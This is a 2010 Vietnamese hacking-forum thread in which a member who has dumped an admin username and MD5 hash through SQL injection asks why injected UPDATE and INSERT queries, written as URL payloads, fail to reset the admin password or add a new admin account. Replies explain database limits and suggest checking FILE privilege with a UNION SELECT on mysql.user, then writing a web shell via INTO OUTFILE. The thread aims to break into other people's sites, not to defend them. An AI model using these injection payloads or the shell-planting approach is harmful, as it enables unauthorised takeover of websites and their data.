Cách giải quyết khi hack SQL Injection nhưng mật khẩu bị mã hóa

English | Vietnamese

Rules

Main Forum

Portal

Member Listing

Statistics

Search

Reading Room
[Register]

Login [ | https ]

Forum Index

Thảo luận thâm nhập

Cách giải quyết khi hack SQL Injection nhưng mật khẩu bị mã hóa

[Question] Cách giải quyết khi hack SQL Injection nhưng mật khẩu bị mã hóa	19/01/2010 16:24:22 (+0700) \| #1 \| 203580

caotrienx
Member

Joined: 24/02/2007 16:21:27
Messages: 9
Offline

Mình hack được user/pass: admin:57c4b03b07d5b098b92a0205dcca66d5 chuỗi md5 này ko giải mã được

Theo 1 bài viết có cách hướng dẫn đổi pass hoặc record 1 newuser/newpass(newpass được đã được giải mã) khi biết được các table va column
Để thay đổi password , có thể làm như sau:
http://yoursite.com/index.php?id=10 UPDATE 'admin_login' SET 'password'= 'newpass' WHERE login_name='admin'--

Hoặc nếu bạn muốn một record mới(tạo một newuser/newpass) vào table:
http://yoursite.com/index.php?id=10 INSERT INTO 'admin_login'('login_id', 'login_name', 'password') VALUES(`1`,'admin1','newpass')--

mình thử nhưng ko được ,kể cả khi chuyển login_name sang hex newuser=admin1=61646d696e31

INSERT INTO 'admin_login' ('login_id', 'login_name', 'password') VALUES
(`1`, `0x61646d696e31`, `bf15876b12c0a194dcb842c3ec9cb078`)--

Ai cho mình biết sai ở đâu ko!

[Question] Cách giải quyết khi hack SQL Injection nhưng mật khẩu bị mã hóa	04/02/2010 07:01:51 (+0700) \| #2 \| 204521

svh4ck
Member

Joined: 02/02/2010 04:17:20
Messages: 1
Offline

phải mssql bạn mới có thể update infor được mysql ko update được đâu bạn

[Question] Cách giải quyết khi hack SQL Injection nhưng mật khẩu bị mã hóa	05/02/2010 11:06:12 (+0700) \| #3 \| 204589

gilardino
Member

Joined: 29/01/2010 20:54:36
Messages: 1
Offline

Kiểm tra xem có quyền FILE không
Yoursite.com/abc.php?id=123 union select file_priv from mysql.user--
sau đó tìm path include shell vào ( into outfile )
Mình chỉ biết từng đó. smilie

Go to:

Users currently in here
1 Anonymous